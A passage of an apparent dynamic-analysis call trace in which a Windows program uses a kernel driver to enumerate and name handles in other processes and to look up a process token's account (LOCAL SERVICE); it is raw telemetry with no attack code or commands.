returned 0x2 [0122.656] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.656] ObQueryNameString (in: Object=0xfffff8a00181e670, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.656] ObfDereferenceObject (Object=0xfffff8a00181e670) returned 0x2 [0122.656] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.656] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0122.656] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.656] PsAcquireProcessExitSynchronization () returned 0x0 [0122.656] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.656] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001883dc0, HandleInformation=0x0) returned 0x0 [0122.656] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.656] PsReleaseProcessExitSynchronization () returned 0x2 [0122.656] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.656] ObQueryNameString (in: Object=0xfffff8a001883dc0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.656] ObfDereferenceObject (Object=0xfffff8a001883dc0) returned 0x2 [0122.656] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.656] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xae, lpOverlapped=0x0) returned 1 [0122.657] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.657] PsAcquireProcessExitSynchronization () returned 0x0 [0122.657] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.657] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003065d10, HandleInformation=0x0) returned 0x0 [0122.657] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.657] PsReleaseProcessExitSynchronization () returned 0x2 [0122.657] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.657] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.657] ObfDereferenceObject (Object=0xfffffa8003065d10) returned 0x1 [0122.657] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.657] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.657] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0122.657] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.657] PsAcquireProcessExitSynchronization () returned 0x0 [0122.657] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.657] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0018822d0, HandleInformation=0x0) returned 0x0 [0122.657] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.657] PsReleaseProcessExitSynchronization () returned 0x2 [0122.657] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.657] ObQueryNameString (in: Object=0xfffff8a0018822d0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.657] ObfDereferenceObject (Object=0xfffff8a0018822d0) returned 0x2 [0122.657] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.657] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.657] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0122.657] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.657] PsAcquireProcessExitSynchronization () returned 0x0 [0122.657] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.657] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8009f26a50, HandleInformation=0x0) returned 0x0 [0122.657] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.658] PsReleaseProcessExitSynchronization () returned 0x2 [0122.658] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.658] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.658] ObfDereferenceObject (Object=0xfffffa8009f26a50) returned 0x5 [0122.658] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.658] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.658] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0122.658] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.658] PsAcquireProcessExitSynchronization () returned 0x0 [0122.658] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.658] ObReferenceObjectByHandle (in: Handle=0x35c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0018b3390, HandleInformation=0x0) returned 0x0 [0122.658] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.658] PsReleaseProcessExitSynchronization () returned 0x2 [0122.658] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.658] ObQueryNameString (in: Object=0xfffff8a0018b3390, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.658] ObfDereferenceObject (Object=0xfffff8a0018b3390) returned 0x2 [0122.658] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.658] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.658] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0122.658] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.658] PsAcquireProcessExitSynchronization () returned 0x0 [0122.658] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.658] ObReferenceObjectByHandle (in: Handle=0x360, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0018c8080, HandleInformation=0x0) returned 0x0 [0122.658] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.658] PsReleaseProcessExitSynchronization () returned 0x2 [0122.658] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.658] ObQueryNameString (in: Object=0xfffff8a0018c8080, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.658] ObfDereferenceObject (Object=0xfffff8a0018c8080) returned 0x2 [0122.658] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.658] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.658] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0122.659] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.659] PsAcquireProcessExitSynchronization () returned 0x0 [0122.659] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.659] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001c1b550, HandleInformation=0x0) returned 0x0 [0122.659] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.659] PsReleaseProcessExitSynchronization () returned 0x2 [0122.659] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.659] ObQueryNameString (in: Object=0xfffff8a001c1b550, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.659] ObfDereferenceObject (Object=0xfffff8a001c1b550) returned 0x2 [0122.659] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.659] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.659] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0122.659] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.659] PsAcquireProcessExitSynchronization () returned 0x0 [0122.659] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.659] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8005ffe6d0, HandleInformation=0x0) returned 0x0 [0122.659] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.659] PsReleaseProcessExitSynchronization () returned 0x2 [0122.659] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.659] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.659] ObfDereferenceObject (Object=0xfffffa8005ffe6d0) returned 0x5 [0122.659] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.659] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.659] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0122.659] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.659] PsAcquireProcessExitSynchronization () returned 0x0 [0122.659] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.659] ObReferenceObjectByHandle (in: Handle=0x380, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0018c86b0, HandleInformation=0x0) returned 0x0 [0122.659] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.659] PsReleaseProcessExitSynchronization () returned 0x2 [0122.660] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.660] ObQueryNameString (in: Object=0xfffff8a0018c86b0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.660] ObfDereferenceObject (Object=0xfffff8a0018c86b0) returned 0x2 [0122.660] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.660] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0122.660] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.660] PsAcquireProcessExitSynchronization () returned 0x0 [0122.660] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.660] ObReferenceObjectByHandle (in: Handle=0x384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00180e3b0, HandleInformation=0x0) returned 0x0 [0122.660] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.660] PsReleaseProcessExitSynchronization () returned 0x2 [0122.660] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.660] ObQueryNameString (in: Object=0xfffff8a00180e3b0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.660] ObfDereferenceObject (Object=0xfffff8a00180e3b0) returned 0x2 [0122.660] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.660] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0122.660] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.660] PsAcquireProcessExitSynchronization () returned 0x0 [0122.660] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.660] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0018d2a60, HandleInformation=0x0) returned 0x0 [0122.660] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.660] PsReleaseProcessExitSynchronization () returned 0x2 [0122.660] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.660] ObQueryNameString (in: Object=0xfffff8a0018d2a60, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.660] ObfDereferenceObject (Object=0xfffff8a0018d2a60) returned 0x2 [0122.660] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.660] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.660] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5cc) returned 0xc0 [0122.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.661] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80030b5b30, HandleInformation=0x0) returned 0x0 [0122.661] ObOpenObjectByPointer (in: Object=0xfffffa80030b5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.661] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x24 [0122.661] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.661] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.661] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.661] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.661] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.662] CloseHandle (hObject=0xc8) returned 1 [0122.662] CloseHandle (hObject=0xc0) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.662] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.662] PsAcquireProcessExitSynchronization () returned 0x0 [0122.662] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880044355d0) [0122.662] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002a53310, HandleInformation=0x0) returned 0x0 [0122.663] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.663] PsReleaseProcessExitSynchronization () returned 0x2 [0122.663] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0122.663] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.663] ObfDereferenceObject (Object=0xfffffa8002a53310) returned 0x1 [0122.663] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.663] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.663] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.663] PsAcquireProcessExitSynchronization () returned 0x0 [0122.663] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880044355d0) [0122.663] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800fdffaa0, HandleInformation=0x0) returned 0x0 [0122.663] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.663] PsReleaseProcessExitSynchronization () returned 0x2 [0122.663] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0122.663] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.663] ObfDereferenceObject (Object=0xfffffa800fdffaa0) returned 0x1 [0122.663] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.663] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0122.663] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.663] PsAcquireProcessExitSynchronization () returned 0x0 [0122.663] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880044355d0) [0122.663] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80029139c0, HandleInformation=0x0) returned 0x0 [0122.663] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.664] PsReleaseProcessExitSynchronization () returned 0x2 [0122.664] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0122.664] ObQueryNameString (in: Object=0xfffffa80029139c0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.664] ObfDereferenceObject (Object=0xfffffa80029139c0) returned 0x3 [0122.664] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: 